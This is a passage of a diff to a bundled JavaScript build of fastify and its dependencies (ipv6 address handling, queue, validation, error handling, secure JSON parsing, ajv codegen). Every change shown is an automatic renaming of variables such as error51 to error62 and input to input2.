error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema3] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema3] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema3] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema3, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function 